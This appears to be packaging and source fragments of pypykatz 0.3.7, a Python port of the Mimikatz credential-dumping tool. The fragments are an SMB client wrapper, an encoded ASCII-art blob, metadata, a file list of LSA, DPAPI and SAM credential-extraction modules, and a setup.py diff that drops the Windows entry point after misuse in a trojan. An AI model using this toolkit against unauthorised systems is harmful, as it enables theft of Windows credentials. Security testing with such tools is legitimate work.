11 | """ | |
12 | LDAP is not part of pypykatz directly. | |
13 | This is a wrapper for aiosmb | |
14 | """ | |
15 | ||
16 | class SMBCMDArgs: | |
17 | def __init__(self): | |
18 | self.smb_url = None | |
19 | self.verbose = 0 | |
20 | self.silent = True | |
21 | self.smb_url = None | |
22 | self.no_interactive = False | |
23 | self.commands = ['login', 'i'] | |
24 | ||
25 | smb_live_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... smb help" insted of "-h" ' | |
26 | class SMBCMDHelper: | |
27 | def __init__(self): | |
28 | self.live_keywords = ['smb'] | |
29 | self.keywords = ['smb'] | |
30 | ||
31 | def add_args(self, parser, live_parser): | |
32 | group = parser.add_parser('smb', help='SMB client. Use "help" instead of "-h" to get the available subcommands') | |
33 | group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
34 | group.add_argument('url', help="SMB connection string") | |
35 | group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
36 | ||
37 | live_group = live_parser.add_parser('smb', help='SMB (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=smb_live_epilog) | |
38 | live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
39 | live_group.add_argument('--protocol-version', choices=['2', '3'], default = '2', help= 'SMB protocol version. SMB1 is not supported.') | |
40 | live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
41 | live_group.add_argument('host', help='Target host to connect to') | |
42 | live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
43 | ||
44 | def execute(self, args): | |
45 | if args.command in self.keywords: | |
46 | self.run(args) | |
47 | ||
48 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: | |
49 | self.run_live(args) | |
50 | ||
51 | ||
52 | def run_live(self, args): | |
53 | from aiosmb.examples.smbclient import amain | |
54 | from winacl.functions.highlevel import get_logon_info | |
55 | info = get_logon_info() | |
56 | la = SMBCMDArgs() | |
57 | la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host) | |
58 | la.verbose = args.verbose | |
59 | print(la.smb_url) | |
60 | ||
61 | if args.commands is not None and len(args.commands) > 0: | |
62 | la.commands = [] | |
63 | if args.commands[0] == 'help': | |
64 | la.commands = ['help'] | |
65 | else: | |
66 | if args.commands[0] != 'login': | |
67 | la.commands.append('login') | |
68 | ||
69 | for command in args.commands: | |
70 | la.commands.append(command) | |
71 | ||
72 | asyncio.run(amain(la)) | |
73 | ||
74 | def run(self, args): | |
75 | from aiosmb.examples.smbclient import amain | |
76 | la = SMBCMDArgs() | |
77 | la.smb_url = args.url | |
78 | la.verbose = args.verbose | |
79 | if args.commands is not None and len(args.commands) > 0: | |
80 | la.commands = [] | |
81 | if args.commands[0] == 'help': | |
82 | la.commands = ['help'] | |
83 | else: | |
84 | if args.commands[0] != 'login': | |
85 | la.commands.append('login') | |
86 | ||
87 | for command in args.commands: | |
88 | la.commands.append(command) | |
89 | ||
90 | asyncio.run(amain(la)) |
0 | import zlib | |
1 | import base64 | |
2 | ||
3 | class Sake: | |
4 | def __init__(self): | |
5 | self.pic_comp = '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' | |
6 | ||
7 | def draw(self): | |
8 | return zlib.decompress(base64.b64decode(self.pic_comp)).decode('ascii')⏎ |
0 | Metadata-Version: 1.2 | |
1 | Name: pypykatz | |
2 | Version: 0.3.7 | |
3 | Summary: Python implementation of Mimikatz | |
4 | Home-page: https://github.com/skelsec/pypykatz | |
5 | Author: Tamas Jos | |
6 | Author-email: [email protected] | |
7 | License: UNKNOWN | |
8 | Description: UNKNOWN | |
9 | Platform: UNKNOWN | |
10 | Classifier: Programming Language :: Python :: 3.6 | |
11 | Classifier: License :: OSI Approved :: MIT License | |
12 | Classifier: Operating System :: OS Independent | |
13 | Requires-Python: >=3.6 |
0 | README.md | |
1 | setup.py | |
2 | pypykatz/__init__.py | |
3 | pypykatz/__main__.py | |
4 | pypykatz/_version.py | |
5 | pypykatz/pypykatz.py | |
6 | pypykatz.egg-info/PKG-INFO | |
7 | pypykatz.egg-info/SOURCES.txt | |
8 | pypykatz.egg-info/dependency_links.txt | |
9 | pypykatz.egg-info/entry_points.txt | |
10 | pypykatz.egg-info/requires.txt | |
11 | pypykatz.egg-info/top_level.txt | |
12 | pypykatz.egg-info/zip-safe | |
13 | pypykatz/commons/__init__.py | |
14 | pypykatz/commons/common.py | |
15 | pypykatz/commons/filetime.py | |
16 | pypykatz/commons/kerberosticket.py | |
17 | pypykatz/commons/win_datatypes.py | |
18 | pypykatz/commons/readers/__init__.py | |
19 | pypykatz/commons/readers/local/__init__.py | |
20 | pypykatz/commons/readers/local/live_reader.py | |
21 | pypykatz/commons/readers/local/common/__init__.py | |
22 | pypykatz/commons/readers/local/common/advapi32.py | |
23 | pypykatz/commons/readers/local/common/defines.py | |
24 | pypykatz/commons/readers/local/common/fileinfo.py | |
25 | pypykatz/commons/readers/local/common/kernel32.py | |
26 | pypykatz/commons/readers/local/common/live_reader_ctypes.py | |
27 | pypykatz/commons/readers/local/common/privileges.py | |
28 | pypykatz/commons/readers/local/common/privileges_types.py | |
29 | pypykatz/commons/readers/local/common/psapi.py | |
30 | pypykatz/commons/readers/local/common/version.py | |
31 | pypykatz/commons/readers/local/common/winreg.py | |
32 | pypykatz/commons/readers/registry/__init__.py | |
33 | pypykatz/commons/readers/registry/live/__init__.py | |
34 | pypykatz/commons/readers/registry/live/reader.py | |
35 | pypykatz/commons/readers/rekall/__init__.py | |
36 | pypykatz/commons/readers/rekall/rekallreader.py | |
37 | pypykatz/commons/readers/volatility3/__init__.py | |
38 | pypykatz/commons/readers/volatility3/volreader.py | |
39 | pypykatz/commons/winapi/__init__.py | |
40 | pypykatz/commons/winapi/constants.py | |
41 | pypykatz/commons/winapi/machine.py | |
42 | pypykatz/commons/winapi/processmanipulator.py | |
43 | pypykatz/commons/winapi/local/__init__.py | |
44 | pypykatz/commons/winapi/local/advapi32.py | |
45 | pypykatz/commons/winapi/local/kernel32.py | |
46 | pypykatz/commons/winapi/local/localwindowsapi.py | |
47 | pypykatz/commons/winapi/local/ntdll.py | |
48 | pypykatz/commons/winapi/local/psapi.py | |
49 | pypykatz/commons/winapi/local/sid.py | |
50 | pypykatz/commons/winapi/local/function_defs/__init__.py | |
51 | pypykatz/commons/winapi/local/function_defs/advapi32.py | |
52 | pypykatz/commons/winapi/local/function_defs/defines.py | |
53 | pypykatz/commons/winapi/local/function_defs/fileinfo.py | |
54 | pypykatz/commons/winapi/local/function_defs/kernel32.py | |
55 | pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py | |
56 | pypykatz/commons/winapi/local/function_defs/netapi32.py | |
57 | pypykatz/commons/winapi/local/function_defs/netapi32_high.py | |
58 | pypykatz/commons/winapi/local/function_defs/ntdll.py | |
59 | pypykatz/commons/winapi/local/function_defs/privileges.py | |
60 | pypykatz/commons/winapi/local/function_defs/privileges_types.py | |
61 | pypykatz/commons/winapi/local/function_defs/psapi.py | |
62 | pypykatz/commons/winapi/local/function_defs/version.py | |
63 | pypykatz/commons/winapi/local/function_defs/winreg.py | |
64 | pypykatz/crypto/RC4.py | |
65 | pypykatz/crypto/__init__.py | |
66 | pypykatz/crypto/des.py | |
67 | pypykatz/crypto/aes/AES.py | |
68 | pypykatz/crypto/aes/__init__.py | |
69 | pypykatz/crypto/aes/blockfeeder.py | |
70 | pypykatz/crypto/aes/util.py | |
71 | pypykatz/crypto/unified/__init__.py | |
72 | pypykatz/crypto/unified/aes.py | |
73 | pypykatz/crypto/unified/common.py | |
74 | pypykatz/crypto/unified/des.py | |
75 | pypykatz/crypto/unified/des3.py | |
76 | pypykatz/crypto/unified/pbkdf2.py | |
77 | pypykatz/crypto/unified/pkcs7.py | |
78 | pypykatz/dpapi/__init__.py | |
79 | pypykatz/dpapi/constants.py | |
80 | pypykatz/dpapi/dpapi.py | |
81 | pypykatz/dpapi/structures/__init__.py | |
82 | pypykatz/dpapi/structures/blob.py | |
83 | pypykatz/dpapi/structures/credentialfile.py | |
84 | pypykatz/dpapi/structures/masterkeyfile.py | |
85 | pypykatz/dpapi/structures/system.py | |
86 | pypykatz/dpapi/structures/vault.py | |
87 | pypykatz/kerberos/__init__.py | |
88 | pypykatz/kerberos/cmdhelper.py | |
89 | pypykatz/ldap/__init__.py | |
90 | pypykatz/ldap/cmdhelper.py | |
91 | pypykatz/lsadecryptor/__init__.py | |
92 | pypykatz/lsadecryptor/cmdhelper.py | |
93 | pypykatz/lsadecryptor/lsa_decryptor.py | |
94 | pypykatz/lsadecryptor/lsa_decryptor_nt5.py | |
95 | pypykatz/lsadecryptor/lsa_decryptor_nt6.py | |
96 | pypykatz/lsadecryptor/lsa_template_nt5.py | |
97 | pypykatz/lsadecryptor/lsa_template_nt6.py | |
98 | pypykatz/lsadecryptor/lsa_templates.py | |
99 | pypykatz/lsadecryptor/package_commons.py | |
100 | pypykatz/lsadecryptor/packages/__init__.py | |
101 | pypykatz/lsadecryptor/packages/credman/__init__.py | |
102 | pypykatz/lsadecryptor/packages/credman/templates.py | |
103 | pypykatz/lsadecryptor/packages/dpapi/__init__.py | |
104 | pypykatz/lsadecryptor/packages/dpapi/decryptor.py | |
105 | pypykatz/lsadecryptor/packages/dpapi/templates.py | |
106 | pypykatz/lsadecryptor/packages/kerberos/__init__.py | |
107 | pypykatz/lsadecryptor/packages/kerberos/decryptor.py | |
108 | pypykatz/lsadecryptor/packages/kerberos/templates.py | |
109 | pypykatz/lsadecryptor/packages/livessp/__init__.py | |
110 | pypykatz/lsadecryptor/packages/livessp/decryptor.py | |
111 | pypykatz/lsadecryptor/packages/livessp/templates.py | |
112 | pypykatz/lsadecryptor/packages/msv/__init__.py | |
113 | pypykatz/lsadecryptor/packages/msv/decryptor.py | |
114 | pypykatz/lsadecryptor/packages/msv/templates.py | |
115 | pypykatz/lsadecryptor/packages/ssp/__init__.py | |
116 | pypykatz/lsadecryptor/packages/ssp/decryptor.py | |
117 | pypykatz/lsadecryptor/packages/ssp/templates.py | |
118 | pypykatz/lsadecryptor/packages/tspkg/__init__.py | |
119 | pypykatz/lsadecryptor/packages/tspkg/decryptor.py | |
120 | pypykatz/lsadecryptor/packages/tspkg/templates.py | |
121 | pypykatz/lsadecryptor/packages/wdigest/__init__.py | |
122 | pypykatz/lsadecryptor/packages/wdigest/decryptor.py | |
123 | pypykatz/lsadecryptor/packages/wdigest/templates.py | |
124 | pypykatz/plugins/__init__.py | |
125 | pypykatz/plugins/pypykatz_rekall.py | |
126 | pypykatz/registry/__init__.py | |
127 | pypykatz/registry/cmdhelper.py | |
128 | pypykatz/registry/live_parser.py | |
129 | pypykatz/registry/offline_parser.py | |
130 | pypykatz/registry/sam/__init__.py | |
131 | pypykatz/registry/sam/common.py | |
132 | pypykatz/registry/sam/sam.py | |
133 | pypykatz/registry/sam/structures.py | |
134 | pypykatz/registry/security/__init__.py | |
135 | pypykatz/registry/security/common.py | |
136 | pypykatz/registry/security/security.py | |
137 | pypykatz/registry/security/structures.py | |
138 | pypykatz/registry/software/__init__.py | |
139 | pypykatz/registry/software/software.py | |
140 | pypykatz/registry/system/__init__.py | |
141 | pypykatz/registry/system/system.py | |
142 | pypykatz/remote/__init__.py | |
143 | pypykatz/remote/cmdhelper.py | |
144 | pypykatz/remote/live/__init__.py | |
145 | pypykatz/remote/live/common/__init__.py | |
146 | pypykatz/remote/live/common/common.py | |
147 | pypykatz/remote/live/localgroup/__init__.py | |
148 | pypykatz/remote/live/localgroup/enumerator.py | |
149 | pypykatz/remote/live/session/__init__.py | |
150 | pypykatz/remote/live/session/enumerator.py | |
151 | pypykatz/remote/live/share/__init__.py | |
152 | pypykatz/remote/live/share/enumerator.py | |
153 | pypykatz/utils/__init__.py | |
154 | pypykatz/utils/crypto/__init__.py | |
155 | pypykatz/utils/crypto/cmdhelper.py | |
156 | pypykatz/utils/crypto/gppassword.py | |
157 | pypykatz/utils/crypto/winhash.py | |
158 | pypykatz/utils/sake/__init__.py | |
159 | pypykatz/utils/sake/sake.py⏎ |
0 | 0 | from setuptools import setup, find_packages |
1 | 1 | import re |
2 | import platform | |
2 | 3 | |
3 | 4 | VERSIONFILE="pypykatz/_version.py" |
4 | 5 | verstrline = open(VERSIONFILE, "rt").read() |
9 | 10 | else: |
10 | 11 | raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,)) |
11 | 12 | |
13 | ep = { | |
14 | 'console_scripts': [ | |
15 | 'pypykatz = pypykatz.__main__:main', | |
16 | ], | |
17 | } | |
18 | ||
12 | 19 | setup( |
13 | 20 | # Application name: |
14 | 21 | name="pypykatz", |
18 | 25 | |
19 | 26 | # Application author details: |
20 | 27 | author="Tamas Jos", |
21 | author_email="[email protected]", | |
28 | author_email="[email protected]", | |
22 | 29 | |
23 | 30 | # Packages |
24 | 31 | packages=find_packages(), |
43 | 50 | "Operating System :: OS Independent", |
44 | 51 | ), |
45 | 52 | install_requires=[ |
46 | 'minidump>=0.0.12', | |
47 | 'minikerberos>=0.2.0', | |
48 | 'aiowinreg>=0.0.3', | |
49 | 'msldap>=0.2.7', | |
50 | 'winsspi>=0.0.3' | |
53 | 'minidump>=0.0.13', | |
54 | 'minikerberos>=0.2.8', | |
55 | 'aiowinreg>=0.0.4', | |
56 | 'msldap>=0.3.24', | |
57 | 'winacl>=0.1.0', | |
51 | 58 | ], |
52 | 59 | |
53 | entry_points={ | |
54 | 'console_scripts': [ | |
55 | 'pypykatz = pypykatz.__main__:main', | |
56 | ], | |
57 | } | |
60 | # No more conveinent .exe entry point thanks to some idiot who | |
61 | # used the code without modification in a state-backed trojan. | |
62 | # Thank you for runing it for everyone. | |
63 | # | |
64 | # | |
65 | entry_points=ep if platform.system().lower() != 'windows' else {} | |
58 | 66 | ) |